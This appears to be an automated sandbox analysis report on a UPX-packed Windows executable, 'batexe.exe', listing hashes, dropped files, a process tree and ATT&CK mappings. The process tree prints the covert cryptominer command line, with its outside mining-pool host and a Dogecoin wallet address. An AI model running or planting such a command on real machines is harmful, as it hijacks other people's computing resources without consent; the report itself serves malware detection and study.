73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17-02-2024 12:55

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2352	b2e.exe
4380	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4380	cpuminer-sse2.exe
4380	cpuminer-sse2.exe
4380	cpuminer-sse2.exe
4380	cpuminer-sse2.exe
4380	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2876-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 2352	2876	batexe.exe	74
PID 2876 wrote to memory of 2352	2876	batexe.exe	74
PID 2876 wrote to memory of 2352	2876	batexe.exe	74
PID 2352 wrote to memory of 2624	2352	b2e.exe	75
PID 2352 wrote to memory of 2624	2352	b2e.exe	75
PID 2352 wrote to memory of 2624	2352	b2e.exe	75
PID 2624 wrote to memory of 4380	2624	cmd.exe	78
PID 2624 wrote to memory of 4380	2624	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2876
- C:\Users\Admin\AppData\Local\Temp\9971.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9971.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9971.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9B46.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2624
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9971.tmp\b2e.exe

Filesize
13.9MB

MD5
a419940016eeccfff0d7d273bc039052

SHA1
b00500661e654607115b651b9ca82b4781313ee4

SHA256
601be9d228e112ba0dfd743c6dce01ad0133e5f8833d3c1b44f11eaf3b34908e

SHA512
cf53929e81690a4a1efdb1b1509319363fdeba99ebbad92c21845ccb715792d7b12d7f81ce908e498c85d0468eb3070313afb5e8cc5a4815dfbf09fde5e3cbf8

Download Submit
C:\Users\Admin\AppData\Local\Temp\9971.tmp\b2e.exe

Filesize
14.1MB

MD5
3b26d6bba1a68094f0cff83404e64644

SHA1
9ca518431cfb0a16439d118eee261eaf80622595

SHA256
8bff947af8d6e2dece1c1403ebb9148748b90b3f5060a17b54ef7c47a18ec9b5

SHA512
8f1e03c9218fe698c34f2bb980992fa4ce66c3d268194397f3bda5edd08483fcc7c6defe063c62860fdcebbc1d7e0028475e2da45e874947cd359d30b17d623d

Download Submit
C:\Users\Admin\AppData\Local\Temp\9B46.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.5MB

MD5
c58435f5fc3762f4581c5d17715b69c1

SHA1
21d39f70cd76747c43712891ab3b9b4c981bc5bd

SHA256
6925ec785405ac0f8293281295fd86156e00657520144917dcca702783f1bab6

SHA512
20b56b4905af22d1bfd4db90d8681c3800d671f1cc1fe4ec7b06c2d6bd6d8589fffc0b36b6f99461d97c727dac5ce48f5105535b0f65d9a660f979d3575aa404

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
13.7MB

MD5
86c3e23501fb97cf6d5c9fba02d0d4c2

SHA1
d80540a9a89ee3b24a44d9a19e3c8ebd4896289e

SHA256
fa917ff4513c859cbf27bce1e40205762ab3aeadc2cab38cb211577de3ff24c8

SHA512
8527f1b2c10a2482c2251f181f895b6381687169c7b27aeb04c0dbb9649dd2e90a08ba6f1445534ad79c8b84d7dc22ab6f60ad8674c306dc41cbd32bb21e0ec8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
13.0MB

MD5
df07340b57b135dce28d8e2f74010f8f

SHA1
2f475129cd2d9b87eab61ad42240052e78fb39b6

SHA256
4ad9b3e812ba99112519b4fd26c22cdab65402980effe000a99456cad5bf24c8

SHA512
949ba6ec0f704adade67356dd26ddde698dae3207407509edf1e79cc53b8cf0293442dcec6bb7b8117c8cdab90587cf25d0fbf095fe376c73625fd2e86474860

Download Submit
memory/2352-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2352-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2876-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4380-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4380-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-43-0x000000006B2E0000-0x000000006B378000-memory.dmp

Filesize
608KB

Download
memory/4380-44-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/4380-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4380-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download